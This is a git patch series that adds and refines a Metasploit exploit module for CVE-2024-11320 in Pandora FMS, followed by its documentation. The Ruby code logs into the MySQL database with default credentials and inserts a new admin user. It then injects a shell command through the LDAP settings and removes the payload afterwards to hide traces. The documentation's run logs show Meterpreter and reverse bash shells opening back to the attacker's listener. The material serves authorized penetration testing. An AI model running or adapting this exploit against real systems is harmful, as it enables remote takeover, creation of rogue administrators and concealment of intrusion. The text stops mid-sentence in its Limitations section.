From 09ceb487059a700a578be62d73f296c4243cd01d Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Mon, 16 Dec 2024 16:22:53 +0000 Subject: [PATCH 1/6] init commit module --- .../pandora_fms_preauth_rce_cve_2024_11320.rb | 345 ++++++++++++++++++ 1 file changed, 345 insertions(+) create mode 100644 modules/exploits/linux/http/pandora_fms_preauth_rce_cve_2024_11320.rb diff --git a/modules/exploits/linux/http/pandora_fms_preauth_rce_cve_2024_11320.rb b/modules/exploits/linux/http/pandora_fms_preauth_rce_cve_2024_11320.rb new file mode 100644 index 000000000000..aad16cfb3bc6 --- /dev/null +++ b/modules/exploits/linux/http/pandora_fms_preauth_rce_cve_2024_11320.rb @@ -0,0 +1,345 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/mysql/client' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include BCrypt + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + # @!attribute [rw] mysql_client + # @return [::Rex::Proto::MySQL::Client] + attr_accessor :mysql_client + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Pandora FMS preauth command injection leading to RCE via LDAP using default DB password', + 'Description' => %q{ + Pandora FMS is a monitoring solution that provides full observability for your organization's + technology. This module exploits an command injection vulnerability in the LDAP authentication + mechanism of Pandora FMS. + You need have admin access at the Pandora FMS Web application in order to execute this RCE. + This access can be achieved leveraging a default password vulnerability in Pandora FMS that + allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain + administrative access to the Pandora FMS Web application. This attack can be remotely executed + over the WAN as long as the MySQL services are exposed to the outside world. + This issue affects Pandora FMS Community, Free and Enterprise edition: from 700 through <= 777.4 + }, + 'Author' => [ + 'h00die-gr3y ', # Metasploit module & default password weakness + 'Askar mhaskar', # POC Github CVE-2024-11320 + ], + 'References' => [ + ['CVE', '2024-11320'], + ['URL', 'https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/'], + ['URL', 'https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320'] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'linux', 'php'], + 'Privileged' => true, + 'Arch' => [ARCH_CMD, ARCH_PHP], + 'Targets' => [ + [ + 'PHP Command', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Type' => :php_cmd + } + ], + [ + 'Unix/Linux Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-11-21', + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 443 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'Path to the Pandora FMS application', '/pandora_console']), + OptString.new('DB_USER', [true, 'Pandora database admin user', 'pandora']), + OptString.new('DB_PASSWORD', [true, 'Pandora database admin password', 'Pandor4!']), + OptString.new('DB_NAME', [true, 'Pandora database', 'pandora']), + OptPort.new('DB_PORT', [true, 'MySQL database port', 3306]), + OptString.new('USER', [false, 'Pandora web admin user', 'admin']), + OptString.new('PASSWORD', [false, 'Pandora web admin password', 'pandora']) + ]) + end + + # MySQL login + # returns true if successful else false + def mysql_login(host, user, password, db, port) + begin + self.mysql_client = ::Rex::Proto::MySQL::Client.connect(host, user, password, db, port) + rescue Errno::ECONNREFUSED + print_error('Connection refused') + return false + rescue ::Rex::Proto::MySQL::Client::ClientError + print_error('Connection timedout') + return false + rescue Errno::ETIMEDOUT + print_error('Operation timedout') + return false + rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged + print_error('Unable to login from this host due to policy') + return false + rescue ::Rex::Proto::MySQL::Client::AccessDeniedError + print_error('Access denied') + return false + end + true + end + + # MySQL query + # returns query result if successful (can be nil) else returns false + def mysql_query(sql) + begin + res = mysql_client.query(sql) + rescue ::Rex::Proto::MySQL::Client::Error => e + print_error("MySQL Error: #{e.class} #{e}") + return false + rescue Rex::ConnectionTimeout => e + print_error("Timeout: #{e.message}") + return false + end + res + end + + # login at the Pandora FMS web application + # return true if login successful else false + def pandora_login(name, pwd) + # first login GET request to get csrf code + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'keep_cookies' => true, + 'vars_get' => { + 'login' => 1 + } + }) + return false unless res&.code == 200 + + # scrape + html = res.get_html_document + csrf_code = html.at('input[@id="hidden-csrf_code"]') + vprint_status("csrf_code: #{csrf_code}") + return false if csrf_code.nil? || csrf_code.blank? + + # second login POST request using the csrf code + res = send_request_cgi!({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'keep_cookies' => true, + 'vars_get' => { + 'login' => 1 + }, + 'vars_post' => { + 'nick' => name, + 'pass' => pwd, + 'Login_button' => "Let's go", + 'csrf_code' => csrf_code.attribute_nodes[3] + } + }) + return res&.code == 200 && res.body.include?('id="welcome-icon-header"') + end + + # CVE-2024-11320: Misconfigure LDAP with RCE payload + # return true if successful else false + def configure_ldap(payload) + # first LDAP GET request to get the csrf_code + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'keep_cookies' => true, + 'vars_get' => { + 'sec' => 'general', + 'sec2' => 'godmode/setup/setup', + 'section' => 'auth' + } + }) + return false unless res&.code == 200 + + # scrape + html = res.get_html_document + csrf_code = html.at('input[@id="hidden-csrf_code"]') + vprint_status("csrf_code: #{csrf_code}") + return false if csrf_code.nil? || csrf_code.blank? + + # second LDAP POST request using the csrf_code + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'keep_cookies' => true, + 'vars_get' => { + 'sec' => 'general', + 'sec2' => 'godmode/setup/setup', + 'section' => 'auth' + }, + 'vars_post' => { + 'update_config' => 1, + 'csrf_code' => csrf_code.attribute_nodes[3], + 'auth' => 'ldap', + 'fallback_local_auth' => 1, + 'fallback_local_auth_sent' => 1, + 'ldap_server' => 'localhost', + 'ldap_port' => 389, + 'ldap_version' => 3, + 'ldap_start_tls_sent' => 1, + 'ldap_base_dn' => 'ou%3DPeople%2Cdc%3Dedu%2Cdc%3Dexample%2Cdc%3Dorg', + 'ldap_login_attr' => 'uid', + 'ldap_admin_login' => payload, + 'ldap_admin_pass' => 'test', + 'ldap_search_timeout' => 0, + 'secondary_ldap_enabled_sent' => 1, + 'ldap_server_secondary' => 'localhost', + 'ldap_port_secondary' => 389, + 'ldap_version_secondary' => 3, + 'ldap_start_tls_secondary_sent' => 1, + 'ldap_base_dn_secondary' => 'ou%3DPeople%2Cdc%3Dedu%2Cdc%3Dexample%2Cdc%3Dorg', + 'ldap_login_attr_secondary' => 'uid', + 'ldap_admin_login_secondary' => nil, + 'ldap_admin_pass_secondary' => nil, + 'double_auth_enabled_sent' => 1, + '2FA_all_users_sent' => 1, + 'session_timeout' => 90, + 'update_button' => 'Update', + 'ldap_function' => 'local' + } + }) + return res&.code == 200 + end + + # CVE-2024-11320: Command Injection leading to RCE via LDAP Misconfiguration + def execute_command(cmd, _opts = {}) + # modify php payload to trigger the RCE + if target['Type'] == :php_cmd + php_cmd = cmd.gsub(/'/, '"') + payload = "';php -r " + "\'#{php_cmd}\'" + ' #' + else + payload = "';" + cmd + ' #' + end + + # misconfigure LDAP settings with RCE payload + # clear cookies and execute dummy login to trigger the LDAP RCE payload + if configure_ldap(payload) + @clean_payload = true + cookie_jar.clear + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'vars_get' => { + 'login' => 1 + } + }) + else + @clean_payload = false + end + end + + def cleanup + # try to remove the payload from the LDAP settings to cover our tracks + # but do not run during the check phase + super + unless @check_running + # Disconnect from MySQL server + mysql_client.close if mysql_client + # check if payload should be removed + if @clean_payload + if pandora_login(@username, @password) && configure_ldap(nil) + print_good('Payload is successful removed from LDAP configuration.') + return + end + print_warning('Payload could not be removed from LDAP configuration. Try to clean it manually.') + end + end + end + + def check + @check_running = true + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'keep_cookies' => true + }) + unless res&.code == 200 && res.body.include?('PandoraFMS.com') + return CheckCode::Safe('Target is not a Pandora FMS application.') + end + + html = res.get_html_document + full_version = html.at('div[@id="ver_num"]') + if full_version.blank? + return CheckCode::Detected('Could not determine the Pandora FMS version.') + end + + full_version = full_version.text + version = full_version[1..].sub('NG', '') + if version.blank? + return CheckCode::Detected('Could not determine the Pandora FMS version.') + end + + version = Rex::Version.new version + unless version >= Rex::Version.new('7.0.700') && version <= Rex::Version.new('7.0.777.4') + return CheckCode::Safe("Pandora FMS version #{full_version}") + end + + CheckCode::Appears("Pandora FMS version #{full_version}") + end + + def exploit + @check_running = false + # check if we can login at the Pandora Web application with the default admin credentials + @username = datastore['USER'] + @password = datastore['PASSWORD'] + print_status("Trying to log in with admin credentials #{@username}:#{@password} at the Pandora FMS Web application.") + unless pandora_login(@username, @password) + # connect to the PostgreSQL DB with default credentials + print_status('Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.') + mysql_login_res = mysql_login(datastore['RHOSTS'], datastore['DB_USER'], datastore['DB_PASSWORD'], datastore['DB_NAME'], datastore['DB_PORT']) + fail_with(Failure::Unreachable, "Unable to connect to the MySQL server on port #{datastore['DB_PORT']}.") unless mysql_login_res + + # add a new admin user + @username = Rex::Text.rand_text_alphanumeric(5..8).downcase + @password = Rex::Text.rand_password + password_hash = Password.create(@password) + print_status("Creating new admin user with credentials #{@username}:#{@password} for access at the Pandora FMS Web application.") + mysql_query_res = mysql_query("INSERT INTO tusuario (id_user, password, is_admin) VALUES (\'#{@username}\', \'#{password_hash}\', '1');") + fail_with(Failure::BadConfig, "Adding new admin credentials #{@username}:#{@password} to the database failed.") if mysql_query_res == false + + # log in with the new admin user credentials at the Pandora FMS Web application + print_status("Trying to log in with new admin credentials #{@username}:#{@password} at the Pandora FMS Web application.") + fail_with(Failure::NoAccess, 'Failed to authenticate at the Pandora FMS application.') unless pandora_login(@username, @password) + end + print_status('Succesfully authenticated at the Pandora FMS Web application.') + + # storing credentials at the msf database + print_status('Saving admin credentials at the msf database.') + store_valid_credential(user: @username, private: @password) + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd, :php_cmd + execute_command(payload.encoded) + end + end +end From 2abde4c923dd043d5f4496af4d67d09f4dd449d2 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 18 Dec 2024 08:32:06 +0000 Subject: [PATCH 2/6] update based on comments --- ...e_cve_2024_11320.rb => pandora_fms_auth_rce_cve_2024_11320.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/linux/http/{pandora_fms_preauth_rce_cve_2024_11320.rb => pandora_fms_auth_rce_cve_2024_11320.rb} (100%) diff --git a/modules/exploits/linux/http/pandora_fms_preauth_rce_cve_2024_11320.rb b/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb similarity index 100% rename from modules/exploits/linux/http/pandora_fms_preauth_rce_cve_2024_11320.rb rename to modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb From 2fe0b35384d7b31a91a5167b0ea45cedf91725c5 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 18 Dec 2024 08:34:10 +0000 Subject: [PATCH 3/6] update2 based on comments --- .../pandora_fms_auth_rce_cve_2024_11320.rb | 31 +++++++++++-------- 1 file changed, 18 insertions(+), 13 deletions(-) diff --git a/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb b/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb index aad16cfb3bc6..524d04c12b72 100644 --- a/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb +++ b/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb @@ -20,7 +20,7 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Pandora FMS preauth command injection leading to RCE via LDAP using default DB password', + 'Name' => 'Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password', 'Description' => %q{ Pandora FMS is a monitoring solution that provides full observability for your organization's technology. This module exploits an command injection vulnerability in the LDAP authentication @@ -138,13 +138,15 @@ def pandora_login(name, pwd) 'login' => 1 } }) - return false unless res&.code == 200 + return unless res&.code == 200 # scrape html = res.get_html_document csrf_code = html.at('input[@id="hidden-csrf_code"]') vprint_status("csrf_code: #{csrf_code}") - return false if csrf_code.nil? || csrf_code.blank? + return if csrf_code.nil? || csrf_code.blank? + + # return if csrf_code&.text.to_s.strip.empty? # second login POST request using the csrf code res = send_request_cgi!({ @@ -161,7 +163,7 @@ def pandora_login(name, pwd) 'csrf_code' => csrf_code.attribute_nodes[3] } }) - return res&.code == 200 && res.body.include?('id="welcome-icon-header"') + return res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') end # CVE-2024-11320: Misconfigure LDAP with RCE payload @@ -178,13 +180,15 @@ def configure_ldap(payload) 'section' => 'auth' } }) - return false unless res&.code == 200 + return unless res&.code == 200 # scrape html = res.get_html_document csrf_code = html.at('input[@id="hidden-csrf_code"]') vprint_status("csrf_code: #{csrf_code}") - return false if csrf_code.nil? || csrf_code.blank? + return if csrf_code.nil? || csrf_code.blank? + + # return if csrf_code&.text.to_s.strip.empty? # second LDAP POST request using the csrf_code res = send_request_cgi({ @@ -233,12 +237,13 @@ def configure_ldap(payload) # CVE-2024-11320: Command Injection leading to RCE via LDAP Misconfiguration def execute_command(cmd, _opts = {}) # modify php payload to trigger the RCE - if target['Type'] == :php_cmd - php_cmd = cmd.gsub(/'/, '"') - payload = "';php -r " + "\'#{php_cmd}\'" + ' #' - else - payload = "';" + cmd + ' #' - end + # if target['Type'] == :php_cmd + # php_cmd = cmd.gsub(/'/, '"') + # payload = "';php -r " + "\'#{php_cmd}\'" + ' #' + # else + # payload = "';" + cmd + ' #' + # end + payload = "';#{target['Type'] == :php_cmd ? "php -r'#{cmd.gsub(/'/, '"')}'" : cmd} #" # misconfigure LDAP settings with RCE payload # clear cookies and execute dummy login to trigger the LDAP RCE payload @@ -282,7 +287,7 @@ def check 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => true }) - unless res&.code == 200 && res.body.include?('PandoraFMS.com') + unless res&.code == 200 && res.body.include?('PandoraFMS.com') || res.body.include?('Pandora FMS') return CheckCode::Safe('Target is not a Pandora FMS application.') end From cf5b26dd6199ec9b669da0564c63784209052e03 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Fri, 20 Dec 2024 20:40:04 +0000 Subject: [PATCH 4/6] Second release after testing multiple Pandora FMS versions --- .../pandora_fms_auth_rce_cve_2024_11320.rb | 61 ++++++++++++------- 1 file changed, 38 insertions(+), 23 deletions(-) diff --git a/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb b/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb index 524d04c12b72..db61368cbc59 100644 --- a/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb +++ b/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb @@ -4,6 +4,7 @@ ## require 'rex/proto/mysql/client' +require 'digest/md5' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -30,7 +31,7 @@ def initialize(info = {}) allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain administrative access to the Pandora FMS Web application. This attack can be remotely executed over the WAN as long as the MySQL services are exposed to the outside world. - This issue affects Pandora FMS Community, Free and Enterprise edition: from 700 through <= 777.4 + This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4 }, 'Author' => [ 'h00die-gr3y ', # Metasploit module & default password weakness @@ -107,6 +108,9 @@ def mysql_login(host, user, password, db, port) rescue ::Rex::Proto::MySQL::Client::AccessDeniedError print_error('Access denied') return false + rescue StandardError => e + print_error("Unknown error: #{e.message}") + return false end true end @@ -122,6 +126,9 @@ def mysql_query(sql) rescue Rex::ConnectionTimeout => e print_error("Timeout: #{e.message}") return false + rescue StandardError => e + print_error("Unknown error: #{e.message}") + return false end res end @@ -130,6 +137,8 @@ def mysql_query(sql) # return true if login successful else false def pandora_login(name, pwd) # first login GET request to get csrf code + # in older versions of Pandora FMS this csrf code is not implemented + # but for the sake of simplicity we still execute this GET request res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), @@ -142,13 +151,12 @@ def pandora_login(name, pwd) # scrape html = res.get_html_document - csrf_code = html.at('input[@id="hidden-csrf_code"]') - vprint_status("csrf_code: #{csrf_code}") - return if csrf_code.nil? || csrf_code.blank? - - # return if csrf_code&.text.to_s.strip.empty? + csrf_code_html = html.at('input[@id="hidden-csrf_code"]') + vprint_status("csrf_code: #{csrf_code_html}") + csrf_code = csrf_code_html.attribute_nodes[3] unless csrf_code_html.nil? || csrf_code_html.blank? # second login POST request using the csrf code + # csrf_code can be nil in older versions where the csrf_code is not implemented res = send_request_cgi!({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), @@ -160,16 +168,18 @@ def pandora_login(name, pwd) 'nick' => name, 'pass' => pwd, 'Login_button' => "Let's go", - 'csrf_code' => csrf_code.attribute_nodes[3] + 'csrf_code' => csrf_code } }) - return res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') + return res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') || res.body.include?('godmode') end # CVE-2024-11320: Misconfigure LDAP with RCE payload # return true if successful else false def configure_ldap(payload) # first LDAP GET request to get the csrf_code + # in older versions of Pandora FMS this csrf code is not implemented + # but for the sake of simplicity we still execute this GET request res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), @@ -184,13 +194,12 @@ def configure_ldap(payload) # scrape html = res.get_html_document - csrf_code = html.at('input[@id="hidden-csrf_code"]') - vprint_status("csrf_code: #{csrf_code}") - return if csrf_code.nil? || csrf_code.blank? - - # return if csrf_code&.text.to_s.strip.empty? + csrf_code_html = html.at('input[@id="hidden-csrf_code"]') + vprint_status("csrf_code: #{csrf_code_html}") + csrf_code = csrf_code_html.attribute_nodes[3] unless csrf_code_html.nil? || csrf_code_html.blank? # second LDAP POST request using the csrf_code + # csrf_code can be nil in older versions where the csrf_code is not implemented res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), @@ -202,7 +211,7 @@ def configure_ldap(payload) }, 'vars_post' => { 'update_config' => 1, - 'csrf_code' => csrf_code.attribute_nodes[3], + 'csrf_code' => csrf_code, 'auth' => 'ldap', 'fallback_local_auth' => 1, 'fallback_local_auth_sent' => 1, @@ -237,12 +246,6 @@ def configure_ldap(payload) # CVE-2024-11320: Command Injection leading to RCE via LDAP Misconfiguration def execute_command(cmd, _opts = {}) # modify php payload to trigger the RCE - # if target['Type'] == :php_cmd - # php_cmd = cmd.gsub(/'/, '"') - # payload = "';php -r " + "\'#{php_cmd}\'" + ' #' - # else - # payload = "';" + cmd + ' #' - # end payload = "';#{target['Type'] == :php_cmd ? "php -r'#{cmd.gsub(/'/, '"')}'" : cmd} #" # misconfigure LDAP settings with RCE payload @@ -303,8 +306,8 @@ def check return CheckCode::Detected('Could not determine the Pandora FMS version.') end - version = Rex::Version.new version - unless version >= Rex::Version.new('7.0.700') && version <= Rex::Version.new('7.0.777.4') + version = Rex::Version.new(version) + unless version >= Rex::Version.new('7.0.718') && version <= Rex::Version.new('7.0.777.4') return CheckCode::Safe("Pandora FMS version #{full_version}") end @@ -326,7 +329,17 @@ def exploit # add a new admin user @username = Rex::Text.rand_text_alphanumeric(5..8).downcase @password = Rex::Text.rand_password - password_hash = Password.create(@password) + + # check the password hash algorithm by reading the password hash of the admin user + # new pandora versions hashes the password in bcrypt $2*$, Blowfish (Unix) format else it is a plain MD5 hash + mysql_query_res = mysql_query("SELECT password FROM tusuario WHERE id_user = 'admin';") + fail_with(Failure::BadConfig, 'Cannot find admin credentials to determine password hash algorithm.') if mysql_query_res == false || mysql_query_res.size != 1 + hash = mysql_query_res.fetch_hash + if hash['password'].match(/^\$2.\$/) + password_hash = Password.create(@password) + else + password_hash = Digest::MD5.hexdigest(@password) + end print_status("Creating new admin user with credentials #{@username}:#{@password} for access at the Pandora FMS Web application.") mysql_query_res = mysql_query("INSERT INTO tusuario (id_user, password, is_admin) VALUES (\'#{@username}\', \'#{password_hash}\', '1');") fail_with(Failure::BadConfig, "Adding new admin credentials #{@username}:#{@password} to the database failed.") if mysql_query_res == false @@ -345,6 +358,8 @@ def exploit case target['Type'] when :unix_cmd, :php_cmd execute_command(payload.encoded) + else + fail_with(Failure::BadConfig, "Unsupported target type: #{target['Type']}.") end end end From 7c8116a2cba1944c95ce0e0bc6eb47f00645c694 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Sun, 22 Dec 2024 11:41:05 +0000 Subject: [PATCH 5/6] Third release of module + Documentation --- .../pandora_fms_auth_rce_cve_2024_11320.md | 210 ++++++++++++++++++ .../pandora_fms_auth_rce_cve_2024_11320.rb | 6 +- 2 files changed, 213 insertions(+), 3 deletions(-) create mode 100644 documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md diff --git a/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md b/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md new file mode 100644 index 000000000000..62090f359593 --- /dev/null +++ b/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md @@ -0,0 +1,210 @@ +## Vulnerable Application +Pandora FMS is a monitoring solution that provides full observability for your organization's technology. +This module exploits an command injection vulnerability in the LDAP authentication mechanism of Pandora FMS. +You need have admin access at the Pandora FMS Web application in order to execute this RCE. +This access can be achieved leveraging a default password vulnerability in Pandora FMS that allows an attacker +to access the Pandora FMS MySQL database, create a new admin user and gain administrative access to the +Pandora FMS Web application. +This attack can be remotely executed over the WAN as long as the MySQL services are exposed to the outside world. +This issue affects Community, Free and Enterprise editions: from `v7.0NG.718` through <= `v7.0NG.777.4` + +The following releases were tested. + +**Pandora FMS Releases:** +* Pandora FMS Community Edition v7.0NG.718 (CentOS 7 ISO image) +* Pandora FMS Community Edition v7.0NG.759 (CentOS 7 ISO image) +* Pandora FMS Community Edition v7.0NG.777-LTS (Ubuntu 22.04) +* Pandora FMS Community Edition v7.0NG.772-LTS (Ubuntu 22.04) + +## Installation steps to install Pandora FMS Community, Free or Enterprise Editions +* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform. +* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/). +* Download [Pandora FMS iso](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/). +* Install the iso image in your virtualization engine. +* When installed, configure the VM appliance to your needs using the menu options. +* Boot up the VM and should be able to access the Pandora FMS appliance either thru the console, `ssh` on port `22` +* or via the `webui` via `http://your_ip/pandora_console/index.php`. + +* Note: from version `v7.0NG.760` follow the installation manual below: +* [Non ISO installation](https://pandorafms.com/manual/!current/en/documentation/pandorafms/installation/01_installing). + +You are now ready to test the module. + +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `use exploit/linux/http/linux/http/pandora_fms_auth_rce_cve_2024_11320` +- [ ] `set rhosts ` +- [ ] `set rport ` +- [ ] `set lhost ` +- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>` +- [ ] `exploit` +- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings + +## Options + +### USERNAME +This option is optional and is the username (default: admin) to authenticate with the Pandora FMS application. + +### PASSWORD +This option is optional and is the password (default: pandora) in plain text to authenticate with the Pandora FMS application. + +### DB_USER +This option is required and is the username (default: pandora) to authenticate with the Pandora FMS MySQL database. + +### DB_PASSWORD +This option is required and is the password (default: Pandor4!) in plain text to authenticate with the Pandora FMS MySQL database. +Note: In older versions, this password is set to `pandora` during installation of the application. + +### DB_PORT +This option is required and is the MySQL database port (default: 3306) to connect to the database. + +## Scenarios +```msf +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > info + + Name: Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password + Module: exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320 + Platform: Unix, Linux, PHP + Arch: cmd, php + Privileged: Yes + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2024-11-21 + +Provided by: + h00die-gr3y + Askar mhaskar + +Module side effects: + artifacts-on-disk + ioc-in-logs + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 PHP Command + 1 Unix/Linux Command + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + DB_NAME pandora yes Pandora database + DB_PASSWORD Pandor4! yes Pandora database admin password + DB_PORT 3306 yes MySQL database port + DB_USER pandora yes Pandora database admin user + PASSWORD pandora no Pandora web admin password + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usin + g-metasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /pandora_console yes Path to the Pandora FMS application + USERNAME admin no Pandora web admin user + VHOST no HTTP server virtual host + +Payload information: + +Description: + Pandora FMS is a monitoring solution that provides full observability for your organization's + technology. This module exploits an command injection vulnerability in the LDAP authentication + mechanism of Pandora FMS. + You need have admin access at the Pandora FMS Web application in order to execute this RCE. + This access can be achieved leveraging a default password vulnerability in Pandora FMS that + allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain + administrative access to the Pandora FMS Web application. This attack can be remotely executed + over the WAN as long as the MySQL services are exposed to the outside world. + This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4 + +References: + https://nvd.nist.gov/vuln/detail/CVE-2024-11320 + https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/ + https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320 + +View the full module info with the info -d command. +``` +### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - PHP Command target +Attack scenario: use the default database credentials (pandora:Pandor4!) to create an admin user in the application +to gain the privileges for the RCE. +```msf +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password xxx +password => xxx +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set rhosts 192.168.201.6 +rhosts => 192.168.201.6 +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777 +[*] Trying to log in with admin credentials admin:xxx at the Pandora FMS Web application. +[*] Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server. +[*] Creating new admin user with credentials cnrjq:jeQsinXxfe for access at the Pandora FMS Web application. +[*] Trying to log in with new admin credentials cnrjq:jeQsinXxfe at the Pandora FMS Web application. +[*] Succesfully authenticated at the Pandora FMS Web application. +[*] Saving admin credentials at the msf database. +[*] Executing PHP Command for php/meterpreter/reverse_tcp +[*] Sending stage (40004 bytes) to 192.168.201.6 +[*] Meterpreter session 28 opened (192.168.201.8:4444 -> 192.168.201.6:59242) at 2024-12-22 10:35:05 +0000 +[+] Payload is successful removed from LDAP configuration. + +meterpreter > sysinfo +Computer : cuckoo +OS : Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 +Meterpreter : php/linux +meterpreter > getuid +Server username: www-data +meterpreter > pwd +/var/www/html/pandora_console +meterpreter > +``` +### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - Unix/Linux Command target +Attack scenario: use the default admin credentials (admin:pandora) of the Pandora FMS application +to gain the privileges for the RCE. +```msf +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set target 1 +target => 1 +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set payload cmd/unix/reverse_bash +payload => cmd/unix/reverse_bash +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password pandora +password => pandora +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777 +[*] Trying to log in with admin credentials admin:pandora at the Pandora FMS Web application. +[*] Succesfully authenticated at the Pandora FMS Web application. +[*] Saving admin credentials at the msf database. +[*] Executing Unix/Linux Command for cmd/unix/reverse_bash +[*] Command shell session 29 opened (192.168.201.8:4444 -> 192.168.201.6:37616) at 2024-12-22 10:57:58 +0000 +[+] Payload is successful removed from LDAP configuration. + +pwd +/var/www/html/pandora_console +id +uid=33(www-data) gid=33(www-data) groups=33(www-data) +uname -a +Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux +``` + +## Limitations +In older versions of Pandora FMS, you might run into error 'Unable to login from this host due to policy' if you try to connect +to the MySQL database with the default database credentials. +This is caused by the restrictive host settings at the MySQL database which is default set to `localhost` and 